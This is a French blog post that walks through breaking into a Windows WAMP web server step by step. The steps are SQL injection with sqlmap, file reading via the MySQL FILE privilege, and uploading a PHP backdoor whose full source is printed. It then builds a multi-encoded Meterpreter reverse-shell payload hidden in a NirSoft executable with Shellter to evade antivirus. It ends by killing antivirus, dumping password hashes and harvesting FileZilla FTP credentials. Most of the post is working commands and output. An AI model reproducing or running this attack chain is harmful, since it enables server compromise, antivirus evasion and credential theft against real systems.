Exploitation web
Un Nmap sur evil.corp nous informe que seul un serveur Apache est présent sur le port 80. La machine est quand à elle un Windows (Win64 d’après la bannière HTTP, Nmap suspecte lui un Windows Server 2008).
Je joue rapidement avec le site qui semble vulnérable à des injections SQL. Un Wapiti permet d’obtenir différents angles d’attaque.
1
./bin/wapiti http://evil.corp/ -v 2 --color -d 5
Wapiti trouve différentes failles SQL pour des scripts et des méthodes HTTP différentes (le nombre de failles n’est pas représentatif, il peut s’agir d’un même script vulnérable mais avec des paramètres d’URL différents).
Face à un tel choix j’ai toujours tendance à tester d’abord les injections dans les formulaires (je veux dire données envoyées en POST) pour la simple raison qu’elles permettent d’être plus discret (l’injection SQL n’apparaîtra pas dans les logs du serveur web).
Un autre élément primordial est à prendre en compte : le type d’injection SQL.
Entre une injection en aveugle basée sur le temps de réponse et une injection non-aveugle de type UNION
le choix est vite fait.
Je préfère abandonner un peu de discrétion et pouvoir dumper rapidement des tables plutôt qu’être en mode ninja de l’apocalypse et parvenir à dumper une table en 3 semaines avec des erreurs :p
Je fini par faire mon choix parmi les scripts vulnérables :
Je lance sqlmap sur l’URL vulnérable qui est exploitable via différentes techniques.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ sqlmap.py -u "http://evil.corp/products/?keyword=&category=1" --random-agent -p category
---
Parameter: category (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: keyword=&category=1 AND 4994=4994
Type: AND/OR time-based blind
Title: MySQL time-based blind - Parameter replace (MAKE_SET)
Payload: keyword=&category=MAKE_SET(2846=2846,SLEEP(5))
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: keyword=&category=1 UNION ALL SELECT NULL,NULL,CONCAT(0x71766b7071,0x507a72574e695348556a5556736b55794d4a7361626b7663416e7a6f6f62734a434c767247495773,0x716a766a71),NULL,NULL,NULL,NULL,NULL-- Hz
oF
---
web application technology: Apache 2.4.4
back-end DBMS: MySQL 5
available databases [4]:
[*] evilcorp_db
[*] information_schema
[*] mysql
[*] performance_schema
Parmi les tables de evilcorp_db
(obtenues avec sqlmap via -D evilcorp\_db --tables
) on trouve une table admin_users qui nous promet des merveilles.
1
2
3
4
5
6
7
8
9
10
11
12
13
Table: admin_users
[7 columns]
+------------+--------------+
| Column | Type |
+------------+--------------+
| privileges | int(11) |
| id_user | int(11) |
| login | varchar(255) |
| mail | varchar(255) |
| name | varchar(255) |
| pwd | varchar(64) |
| role | tinyint(4) |
+------------+--------------+
Admin web
Les identifiants qui y sont présents ne fonctionnent pas avec le site mais en fouillant un peu je trouve un CMS visiblement fait maison (aucune référence au nom de l’appli n’a été trouvé sur Google) sur /admin/ sur lequel les identifiants (stockés en clair) fonctionnent.
Parmi les pages utilisées sur cette interface admin on trouve un script d’upload à /admin/context/upload.php.
Le problème c’est que lors de l’upload (qui accepte visiblement tout type d’extension) aucune indication n’est donnée sur l’emplacement où se retrouvent les fichiers.
SQLmap nous permet de savoir que l’utilisateur SQL courant (evil@localhost) n’est pas DBA (sniff).
Toutefois une bonne surprise nous attend lorsque l’on dump les privilèges des utilisateurs.
1
2
3
4
5
6
7
8
database management system users privileges:
[*] 'evilcorp'@'%' [5]:
privilege: DELETE
privilege: FILE
privilege: INSERT
privilege: SELECT
privilege: UPDATE
Youpi ! C’est noël avant l’heure :) Grace au privilège FILE (qui n’a aucune raison d’être là) on va donc pouvoir dumper le code PHP des scripts via LOAD DATA INFILE et potentiellement placer une backdoor PHP via INTO OUTFILE (si secure_file_priv n’entre pas en jeux).
Avant de commencer à dumper les scripts PHP il faut déjà connaître leur path.
En fouillant dans la table admin_site
de la base de données on peut trouver des variables de configuration du site, notamment des paths. Or il s’avère que ces paths correspondent à un environnement Unix (une racine web qui correspondrait à du RedHat ou CentOS), étrange pour un serveur qui semble tourner sous Windows…
Et effectivement les paths Unix que l’on peut donner à sqlmap via --file-read
ne nous retournent aucun contenu.
Je retourne sur le site, bien décidé à lui faire cracher quelques paths valides. Au boût d’un moment je trouve un script qui permet d’afficher une image en spécifiant la largeur (paramètre w
). Si on passe autre chose qu’un chiffre le script commence à causer :)
1
http://evil.corp/thumb.php?w=not_a_number&file=pictures%2Fproduct%2Fcamera.jpg
Les chemins présents en base doivent correspondre en fait à une ancienne installation.
On sait dorénavant que le serveur fonctionne bien sous Windows avec WAMP. Armé en plus de la version d’Apache on retrouve facilement sur le web les paths des fichiers de configuration pouvant nous aider (config Apache, MySQL et WAMP).
Divulgation de fichiers
Finalement le LOAD DATA INFILE
fonctionne et nous permet de trouver l’emplacement des fichiers uploadés en récupérant le code du script PHP d’upload.
Upload de fichiers
On uploade aussitôt une backdoor PHP générique qui exploite la possibilité d’instancier une fonction en PHP (une technique couramment utilisée, déjà vu dans les scripts que laissent des pirates après une intrusion).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$func = isset($_POST["f"]) ? $_POST["f"] : "";
$arg1 = isset($_POST["a"]) ? $_POST["a"] : "";
$arg2 = isset($_POST["b"]) ? $_POST["b"] : "";
$ret_func = isset($_POST["rf"]) ? $_POST["rf"] : "";
$ret_val = "";
if ($func != "") {
if ($arg1 != "" && $arg2 != "") {
$ret_val = $func($arg1, $arg2);
} elseif ($arg1 != "") {
$ret_val = $func($arg1);
} else {
$ret_val = $func();
}
}
if ($ret_func != "") {
$ret_func($ret_val);
}
?>
Exécution de commande
Cela permet de passer le nom de fonction à exécuter avec ses arguments (jusqu’à deux), de récupérer le résultat de la fonction et de le passer à une autre fonction.
L’équivalent d’un print(passthru("dir c:\"))
se fera de cette façon :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ curl --data 'f=passthru&a=dir c:\&rf=print' http://evil.corp/pictures/product/db.inc.php
Le volume dans le lecteur C n'a pas de nom.
Le num�ro de s�rie du volume est DEAD-BEEF
R�pertoire de c:\
26/12/2014 17:03 <REP> Intel
17/08/2009 05:20 <REP> PerfLogs
10/12/2014 18:22 <REP> Program Files
17/03/2016 14:25 <REP> Program Files (x86)
02/08/2014 11:35 <REP> Backup
13/05/2015 11:28 <REP> temp
22/11/2017 10:34 <REP> Users
08/09/2016 10:21 <REP> wamp
11/06/2017 23:53 <REP> Windows
On trouve quelques entrées intéressantes dans Program Files
:
1
2
3
4
02/12/2014 09:36 <REP> FileZilla FTP Client
16/01/2017 14:25 <REP> Kaspersky Lab
09/04/2016 08:32 <REP> TeamViewer
23/12/2014 16:41 <REP> Windows Defender
Il y a donc deux outils de sécurité qui tournent.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ curl --data 'f=passthru&a=tasklist&rf=print' http://evil.corp/pictures/product/db.inc.php
Nom de l'image PID Nom de la sessio Num�ro de s Utilisation
========================= ======== ================ =========== ============
System Idle Process 0 Services 0 24 Ko
System 4 Services 0 528 Ko
smss.exe 436 Services 0 100 Ko
csrss.exe 616 Services 0 1�588 Ko
wininit.exe 672 Services 0 232 Ko
winlogon.exe 748 Console 1 252 Ko
services.exe 796 Services 0 5�044 Ko
lsass.exe 804 Services 0 5�200 Ko
lsm.exe 816 Services 0 1�500 Ko
svchost.exe 996 Services 0 3�828 Ko
---snip---
wampmanager.exe 2156 Console 1 1�208 Ko
avp.exe 2296 Services 0 80�044 Ko
avpui.exe 1168 Console 1 3�060 Ko
TeamViewer_Service.exe 3588 Services 0 6�052 Ko
TeamViewer.exe 9416 Console 1 7�992 Ko
httpd.exe 9172 Services 0 328 Ko
mysqld.exe 7164 Services 0 31�888 Ko
tomcat7.exe 13836 Services 0 50�648 Ko
cmd.exe 4548 Services 0 2�932 Ko
tasklist.exe 7412 Services 0 5�788 Ko
Et sous quel utilisateur je tourne au fait ?
1
2
$ curl --data 'f=passthru&a=whoami&rf=print' http://evil.corp/pictures/product/db.inc.php
autorite nt\syst�me
Vous ne revez pas, WAMP tourne bien en système du coup les commandes que l’on passe aussi. Pas d’escalade de privilèges à ajouter :)
Parmi les services qui tournent on retrouve AVP17.0.0
, KSDE1.0.0
et WinDefend
.
Ce dernier peut être simplement stoppé avec sc stop WinDefend
.
Pour Kaspersky c’est une autre paire de manche.
Bypass d’antivirus
Je vais générer une backdoor Meterpreter via msfvenom et Shellter pour diminuer mes chances d’être attrapé par l’antivirus.
D’abord je génère un payload x86 raw avec msfvenom
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=100.100.0.1 LPORT=7777 EXITFUNC=thread -f raw -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f raw -o custom_payload
Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai succeeded with size 408 (iteration=1)
x86/shikata_ga_nai succeeded with size 435 (iteration=2)
x86/shikata_ga_nai succeeded with size 462 (iteration=3)
x86/shikata_ga_nai succeeded with size 489 (iteration=4)
x86/shikata_ga_nai chosen with final size 489
Payload size: 489 bytes
Found 1 compatible encoders
Attempting to encode payload with 8 iterations of x86/countdown
x86/countdown succeeded with size 507 (iteration=0)
x86/countdown succeeded with size 525 (iteration=1)
x86/countdown succeeded with size 543 (iteration=2)
x86/countdown succeeded with size 561 (iteration=3)
x86/countdown succeeded with size 579 (iteration=4)
x86/countdown succeeded with size 597 (iteration=5)
x86/countdown succeeded with size 615 (iteration=6)
x86/countdown succeeded with size 633 (iteration=7)
x86/countdown chosen with final size 633
Payload size: 633 bytes
Found 1 compatible encoders
Attempting to encode payload with 9 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 660 (iteration=0)
x86/shikata_ga_nai succeeded with size 687 (iteration=1)
x86/shikata_ga_nai succeeded with size 714 (iteration=2)
x86/shikata_ga_nai succeeded with size 741 (iteration=3)
x86/shikata_ga_nai succeeded with size 768 (iteration=4)
x86/shikata_ga_nai succeeded with size 795 (iteration=5)
x86/shikata_ga_nai succeeded with size 822 (iteration=6)
x86/shikata_ga_nai succeeded with size 849 (iteration=7)
x86/shikata_ga_nai succeeded with size 876 (iteration=8)
x86/shikata_ga_nai chosen with final size 876
Payload size: 876 bytes
Saved as: custom_payload
Ensuite j’utilise Shellter
pour intégrer le payload dans un exécutable Win32.
Le choix de l’exécutable se fera généralement pour un programme assez gros (suffisamment d’instructions), qui fonctionne en ligne de commande (si on utilise le mode Stealth de Shellter
qui conserve le fonctionnement du programme hôte) et qui n’a pas de système de vérification d’intégrité (du genre un installeur).
Dans l’exemple çi-dessous j’utilise SiteShooter de NirSoft mais il est tout à fait possible d’utiliser d’autres exécutables. Il faudra parfois plusieurs tentatives avant de trouver des paramètres adéquats pour Shellter
. Les exécutables de NirSoft sont packés avec UPX, j’ai préalablement unpacké SiteShooter.exe avant de le passer à Shellter
(upx.exe -d SiteShooter.exe
).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
1010101 01 10 0100110 10 01 11001001 0011101 001001
11 10 01 00 01 01 01 10 11 10
0010011 1110001 11011 11 10 00 10011 011001
11 00 10 01 11 01 11 01 01 11
0010010 11 00 0011010 100111 000111 00 1100011 01 10 v6.9
www.ShellterProject.com Wine Mode
Choose Operation Mode - Auto/Manual (A/M/H): A
PE Target: /tmp/SiteShoter.exe
**********
* Backup *
**********
Backup: Shellter_Backups\SiteShoter.exe
********************************
* PE Compatibility Information *
********************************
Minimum Supported Windows OS: 4.0
Note: It refers to the minimum required Windows version for the target
application to run. This information is taken directly from the
PE header and might be not always accurate.
******************
* Packed PE Info *
******************
Status: Possibly Not Packed - The EntryPoint is located in the first section!
***********************
* PE Info Elimination *
***********************
Data: Dll Characteristics (Dynamic ImageBase etc...), Digital Signature.
Status: All related information has been eliminated!
****************
* Tracing Mode *
****************
Status: Tracing has started! Press CTRL+C to interrupt tracing at any time.
Note: In Auto Mode, Shellter will trace a random number of instructions
for a maximum time of approximately 30 seconds in native Windows
hosts and for 60 seconds when used in Wine.
Instructions Traced: 151793
Tracing Time Approx: 1.36 mins.
Starting First Stage Filtering...
*************************
* First Stage Filtering *
*************************
Filtering Time Approx: 0.0107 mins.
Enable Stealth Mode? (Y/N/H): N
************
* Payloads *
************
[1] Meterpreter_Reverse_TCP [stager]
[2] Meterpreter_Reverse_HTTP [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP [stager]
[5] Shell_Reverse_TCP [stager]
[6] Shell_Bind_TCP [stager]
[7] WinExec
Use a listed payload or custom? (L/C/H): C
Select Payload: /tmp/custom_payload
Is this payload a reflective DLL loader? (Y/N/H): N
****************
* Payload Info *
****************
Payload: /tmp/custom_payload
Size: 876 bytes
Reflective Loader: NO
Encoded-Payload Handling: Enabled
Handler Type: IAT
******************
* Encoding Stage *
******************
Encoding Payload: Done!
****************************
* Assembling Decoder Stage *
****************************
Assembling Decoder: Done!
***********************************
* Binding Decoder & Payload Stage *
***********************************
Status: Obfuscating the Decoder using Thread Context Aware Polymorphic
code, and binding it with the payload.
Please wait...
Binding: Done!
*********************
* IAT Handler Stage *
*********************
Fetching IAT Pointers to Memory Manipulation APIs...
0. VirtualAlloc --> IAT[41d154]
1. VirtualAllocEx --> N/A
2. VirtualProtect --> N/A
3. VirtualProtectEx --> IAT[41d1f8]
4. HeapCreate/HeapAlloc --> IAT[41d100]/IAT[41d164]
5. LoadLibrary/GetProcAddress --> IAT[41d160]/IAT[41d1e8]
6. GetModuleHandle/GetProcAddress --> IAT[41d138]/IAT[41d1e8]
7. CreateFileMapping/MapViewOfFile --> N/A
Using Method --> 3
***************************
* IAT Handler Obfuscation *
***************************
Status: Binding the IAT Handler with Thread Context Aware Polymorphic code.
Please wait...
Code Generation Time Approx: 0 seconds.
*************************
* PolyMorphic Junk Code *
*************************
Type: Engine
Generating: ~546 bytes of PolyMorphic Junk Code
Please wait...
Generated: 546 bytes
Code Generation Time Approx: 0 seconds.
Starting Second Stage Filtering...
**************************
* Second Stage Filtering *
**************************
Filtering Time Approx: 0 mins.
*******************
* Injection Stage *
*******************
Virtual Address: 0x401cc6
File Offset: 0x10c6
Section: .text
Adjusting stub pointers to IAT...
Done!
Adjusting Call Instructions Relative Pointers...
Done!
Injection Completed!
*******************
* PE Checksum Fix *
*******************
Status: Valid PE Checksum has been set!
Original Checksum: 0x0
Computed Checksum: 0x2bb63
**********************
* Verification Stage *
**********************
Info: Shellter will verify that the first instruction of the
injected code will be reached successfully.
If polymorphic code has been added, then the first
instruction refers to that and not to the effective
payload.
Max waiting time: 10 seconds.
Warning!
If the PE target spawns a child process of itself before
reaching the injection point, then the injected code will
be executed in that process. In that case Shellter won't
have any control over it during this test.
You know what you are doing, right? ;o)
Injection: Verified!
Si on envoie l’exécutable sur NoDistribute on voit que seul deux antivirus détectent une menace… et il s’agit apparemment de faux positifs (je veux dire que c’est bien une menace mais la dénomination des malwares ne correspond pas au payload).
Dans tous les cas Kaspersky ne posera pas de problèmes d’après ces résultats.
On uploade et on lance l’exécutable sur le serveur avec passthru
. La session Metasploit nous parvient.
1
2
3
4
5
6
7
8
meterpreter > sysinfo
Computer : EVILCORP-WEBSERVER
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : fr_FR
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/win64
La machine ne fait partie d’aucun réseau local ni domaine Windows, on va s’en tenir à la récupération d’identifiants.
1
2
3
4
5
6
meterpreter > getuid
Server username: AUTORITE NT\Syst�me
meterpreter > run killav
[*] Killing Antivirus services on the target...
[*] Killing off avp.exe...
Après cette opération avp.exe
reste toujours dans la liste des processus. Mais mon installation de Metasploit date un peu. Difficile de dire quel est l’état de l’antivirus après ça et si ça a eu un quelconque impact.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 179da64596822c5bcfdaeae71751ad0e...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
No users with password hints on this system
[*] Dumping password hashes...
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Invit�:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WebServer:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Les utilisateurs ont tous le même hash correspondant à l’absence de mot de passe… Sous prétexte que les services Windows ne sont pas accessibles depuis l’extérieur on en oublie les bonnes pratiques de base :D
Trophé
On a vu plus tôt que le client Filezilla
était utilisé, voyons ce qu’on peut obtenir comme identifiants…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
meterpreter > run get_filezilla_creds
[*] Running Meterpreter FileZilla Credential harvester script
[*] All services are logged at /root/.msf4/logs/filezilla/EVILCORP_WEBSERVER_20170618.5630/EVILCORP_WEBSERVER_20170618.5630.txt
[*] Running as SYSTEM extracting user list..
[*] Checking if Filezilla profile is present for user :::Admin:::...
[-] Filezilla profile not found!
[*] Checking if Filezilla profile is present for user :::WebServer:::...
[*] FileZilla profile found!
[*] Reading sitemanager.xml file...
[*] Host: ftp.supplier.fr
[*] Port: 21
[*] User: client425
[*] Password: nYZd4PkX
[*] Protocol: FTP
[*]
[*] Reading recentservers.xml file...
[*] Host: ftp.supplier.fr
[*] Port: 21
[*] User: EVILCORP
[*] Password: P@ssw0rd!
[*] Protocol: FTP
[*]
[*] Host: ftp.supplier.fr
[*] Port: 21
[*] User: client425
[*] Password: nYZd4PkX
[*] Protocol: FTP
[*]
[*] Host: srv545.hosting.com
[*] Port: 21
[*] User: EVILCORP
[*] Password: Ev!lC0rp
[*] Protocol: FTP
[*]
Mission accomplished! :)
Published July 07 2017 at 19:42